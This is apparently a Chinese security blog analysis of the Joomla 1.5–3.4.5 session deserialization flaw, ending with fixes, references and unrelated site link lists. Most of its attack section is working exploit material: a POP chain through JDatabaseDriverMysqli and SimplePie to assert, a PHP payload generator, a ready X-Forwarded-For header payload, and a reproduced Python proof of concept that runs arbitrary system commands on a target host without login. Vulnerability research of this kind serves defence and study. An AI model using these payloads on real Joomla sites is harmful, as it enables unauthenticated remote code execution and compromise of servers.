0x00 漏洞简单介绍

jooomla 1.5 到 3.4.5 的全部版本号中存在反序列化对象造成对象注入的漏洞,漏洞利用无须登录,直接在前台就可以运行随意PHP代码。

Joomla 安全团队紧急公布了 Joomla 3.4.6 版本号,修复了这个高危 0day 漏洞。

0x01 漏洞原理

漏洞存在于反序列化session的过程中。我们能够控制session的值。并且没有过滤我们构造的语句,通过mysql截断原理,在把session序列化值存入到数据中的时候截断了数据,造成原来的session无法正常解析,而通过注入|符号,利用sesseion处理漏洞机制的缺陷,导致我们构造的session序列化值能正常反序列化运行。

0x02 漏洞具体解释

在libraries/joomla/session/session.php文件里,joomla将HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中

protected function _validate($restart = false)
{
// Allow to restart a session
if ($restart)
{
$this->_state = 'active'; $this->set('session.client.address', null);
$this->set('session.client.forwarded', null);
$this->set('session.client.browser', null);
$this->set('session.token', null);
} // Check if session has expired
if ($this->_expire)
{
$curTime = $this->get('session.timer.now', 0);
$maxTime = $this->get('session.timer.last', 0) + $this->_expire; // Empty session variables
if ($maxTime < $curTime)
{
$this->_state = 'expired'; return false;
}
} // Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
} // Check for client address
if (in_array('fix_adress', $this->_security) && isset($_SERVER['REMOTE_ADDR']))
{
$ip = $this->get('session.client.address'); if ($ip === null)
{
$this->set('session.client.address', $_SERVER['REMOTE_ADDR']);
}
elseif ($_SERVER['REMOTE_ADDR'] !== $ip)
{
$this->_state = 'error'; return false;
}
} // Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
$browser = $this->get('session.client.browser'); if ($browser === null)
{
$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
}
elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
} return true;
}

那我们继续跟进查看joomla是怎么操作session的。在 /libraries/joomla/session/storage.php 内JSessionStorage 类中,利用session_set_save_handler又一次实现了 session 存储的read()和write()方法

public function register()
{
// Use this object as the session handler
session_set_save_handler(
array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
array($this, 'destroy'), array($this, 'gc')
);
} public function read($id)
{
return;
} /**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $session_data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function write($id, $session_data)
{
return true;
}

从php手冊定义能够看出read()、write()方法传进和传出的參数会分别自己主动进行序列化和反序列化。这一部分的序列化操作由PHP内核完毕。

并且session存储引擎实现的过程中都没有对session的value值进行安全处理,直接就进行操作了。从joomla的配置文件configuration.php的文件里的$session_handler = 'database'
能够知道session默认的存储方式是存储到数据库中。

造成这个漏洞可行性的有两个关键点:

  1. joomla中session存储的格式是:键名 + 竖线 + 经过 serialize() 函数反序列处理的值 ,当用php(PHP <= 5.6.13)处理器处理session的时候有一个bug,假设有多个key->value的session的时候,第一个解析不对。会继续往下一个的key->value进行解析。其存储格式是。详细參考 https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
  2. 还有一个关键点是假设数据库编码是utf-8的时候。插入数据库的时候利用"%F0%9D%8C%86"字符能够将mysql中utf-8的字段截断了。这个參考当时爆出来的xss漏洞。

    所以仅仅要站点的php版本号的低于5.6.13就满足条件,造成漏洞。

我们能控制的仅仅是session数据中的一个字符串。正常不会造成漏洞。可是我们通过注入一个|,然后配合php的bug就能成功反序列化我们构造的对象。

数据库正常的session

__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278583;s:18:"session.timer.last";i:1450278583;s:17:"session.timer.now";i:1450278583;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278584;}}}

通过构造的exp

xxx|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð

注入到session数据库中的数据

__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278674;s:18:"session.timer.last";i:1450278674;s:17:"session.timer.now";i:1450278674;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278674;}}}405:"xxx|O:21:"JDatabaseDriverMysqli":22:{s:4:"name";s:6:"mysqli";s:12:"\0\0\0nameQuote";s:1:"`";s:11:"\0\0\0nullDate";s:19:"0000-00-00 00:00:00";s:26:"

因为我们注入到数据库的数据截断了原本在就在session数据库中的数据(xff或ua注入的seesion值会插入到原本session数据中,从上面给出的session也能够知道4个截断符号和后面的字符都没有了),使得__default这个健在解析所相应的值,无法正确解析,然后php session解析器不会销毁session并退出,而是继续寻找下一个key->value进行解析,所以导致我们构造的session序列化值能正常反序列,造成对象注入。

0x03 exp构造

POP 即面向属性编程,POP 链的构造是寻找程序当前环境中已经定义了或者可以动态载入的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。在joomla中找到了两个类用来构造rop链

  1. JDatabaseDriverMysqli
  2. SimplePie

在libraries\joomla\database\driver\mysqli.php文件里包括JDatabaseDriverMysqli,当中有一个魔术方法

public function __destruct()
{
$this->disconnect();
}

这种方法在类调用结束后会自己主动调用。也就是会运行disconnect的函数。

跟进disconnect的函数

public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
} mysqli_close($this->connection);
} $this->connection = null;
}

函数调用了call_user_func_array这个回调函数 ,第一个參数能够构造eval,然而我们无法控制第二个參数,所以无法构造成eval这个的后门。

可是我们控制第一个參数,就能够继续调用对象,这里调用SimplePie类对象。和它的init方法组成一个回调函数。

跟进SimplePie的init方法

function init()
{
// Check absolute bare minimum requirements.
if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
{
return false;
}
// Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
elseif (!extension_loaded('xmlreader'))
{
static $xml_is_sane = null;
if ($xml_is_sane === null)
{
$parser_check = xml_parser_create();
xml_parse_into_struct($parser_check, '<foo>&</foo>', $values);
xml_parser_free($parser_check);
$xml_is_sane = isset($values[0]['value']);
}
if (!$xml_is_sane)
{
return false;
}
} if (isset($_GET[$this->javascript]))
{
SimplePie_Misc::output_javascript();
exit;
} // Pass whatever was set with config options over to the sanitizer.
$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class);
$this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen); if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false; if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
// If it's enabled and we don't want an XML dump, use the cache

这边调用了两个call_user_func,那能够把第二个call_user_func的第一个參数$this->cache_name_function赋值为assert, 第二个參数能够赋值为我们想到的代码,就能够造成随意代码运行的漏洞。

<?

php

class JSimplepieFactory {
} class JDatabaseDriverMysql { } class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
} class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
} $a = new JDatabaseDriverMysqli();
echo serialize($a);

构造的时候有个问题。默认情况下SimplePie是未定义的,所以在调用SimplePie之前先new了一个JSimplepieFactory对象,由于JSimplepieFactory对象在载入时会调用import函数将SimplePie导入到当前工作环境:

在library/joomla/session/storage/database.php。read()方法中

public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo(); try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); return $result;
}
catch (Exception $e)
{
return false;
}
} $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

所以我们的将我们构造好生成的exp中的chr(0)*chr(0)替换成\0\0\0。最后加上截断字符,加上键值和|符号。然后利用User-Agent或者X-Forwarded-For头发送http包写入到数据库中,再一次用同样cookie訪问站点就成功运行了exp。运行phpinfo()的exp例如以下:

X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð

exploit-db上生成随意命令代码的python脚本

'''
Simple PoC for Joomla Object Injection.
Gary @ Sec-1 ltd
http://www.sec-1.com/
''' import requests # easy_install requests def get_url(url, user_agent): headers = {
'User-Agent': user_agent
}
cookies = requests.get(url,headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
return response def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char)) return encoded[:-1] def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload)) terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate return exploit_template pl = generate_payload("system('touch /tmp/fx');") print get_url("http://172.31.6.242/", pl)

0x04 漏洞修复

  1. 改动 joomla 根文件夹 configuration.php 。把 $session_handler 的值改为none。会将session存储引擎设为文件系统。

  2. 把 PHP 版本号升到到 5.6.13 或更高的版本号。
  3. 更新joomla到3.4.6版本号

參考链接:

http://drops.wooyun.org/papers/11371

http://drops.wooyun.org/papers/11330

http://bobao.360.cn/learning/detail/2501.html

https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

joomla对象注入漏洞分析的更多相关文章

  1. Codeigniter 利用加密Key(密钥)的对象注入漏洞

    http://drops.wooyun.org/papers/1449 原文链接:http://www.mehmetince.net/codeigniter-object-injection-vuln ...

  2. WordPress < 3.6.1 PHP 对象注入漏洞

    0x00 背景 当我读到一篇关于Joomla的“PHP对象注射”的漏洞blog后,我挖深了一点就发现Stefan Esser大神在2010年黑帽大会的文章: http://media.blackhat ...

  3. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  4. SpringBoot SpEL表达式注入漏洞-分析与复现

    目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...

  5. Beescms_v4.0 sql注入漏洞分析

    Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...

  6. joomla \libraries\joomla\session\session.php 反序列化截断畸形字符串导致对象注入漏洞

    catalog . 漏洞描述 . PHP SESSION持久化 . PHP 序列化/反序列化内核实现 . 漏洞代码分析 . POC构造技巧 . 防御方案 . Code Pathc方案 1. 漏洞描述 ...

  7. Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析

    RickGray · 2015/10/26 11:24 昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响.攻击者通过该漏洞可以直接 ...

  8. Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴

    本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...

  9. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

随机推荐

  1. webpack 通用模块(每个页面都用到的js)编译

    1.项目目录 2.配置文件:webpack.config.js var htmlWebpackPlugin = require('html-webpack-plugin'); var webpack ...

  2. Python类,特殊方法, __getitem__,__len__, __delitem__

    特殊函数一般以__methodname__的形式命名,如:__init__(构造方法), __getitem__. __setitem__(subscriptable所需method), __deli ...

  3. 浅析Linux Native AIO的实现

    前段时间在自研的基于iSCSI的SAN 上跑mysql,CPU的iowait很大,后面改用Native AIO,有了非常大的改观.这里简单总结一下Native AIO的实现.对于以IO为最大瓶颈的数据 ...

  4. Linux命令-权限管理命令:chmod

    特别注意:在linux中,目录通常是有r和x两个权限的.删除文件的前题是要对文件所在的目录有w的权限才可以. cd /tmp 切换到tmp目录下面 touch chengshi.list 在当前目录中 ...

  5. unity, animator stateMachine立即触发状态转换

    例如按下键jump按钮人物执行跳起动作,同时动画状态由idle转换为jump,同时打开Game窗口和Animator窗口对比观察,发现人物跳起时动画状态并没有同步发生转换,而是有一定延迟,导致人物动画 ...

  6. Lambda编写斐波那契数列

    还需要考虑溢出等问题,闲来无事写了写 Func<float, float, float> a = (arg1, arg2) => 0f;//init ; a = (lastNumbe ...

  7. Linux 用C语言判断文件和文件夹

    Linux 用C语言判断文件和文件夹 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #inc ...

  8. 实用crontab命令

    常用crontab如下: crontab -e 编辑 crontabcrontab -l  显示 crontabcrontab -r  删除 crontabcrontab -v 显示上一次编辑 cro ...

  9. jae的mongo数据库管理工具(原创)

    园里前段时间有人介绍了京东的jae,申请了试用了一下,各种坑,勉强可以测试用用. jae一直没有Mongo数据库的管理工具,没办法,自己写了一个凑合着先用着. 使用方法: 1.修改配置:下载后面的程序 ...

  10. Android 资源保护问题——探索

    apk文件使用解压工具就能看到drawable等资源,但是有些游戏中的图片资源却是无法看到的. 这个问题探索了许久…… [1]图片资源不放置在drawable文件下,放在assets中(但是解压apk ...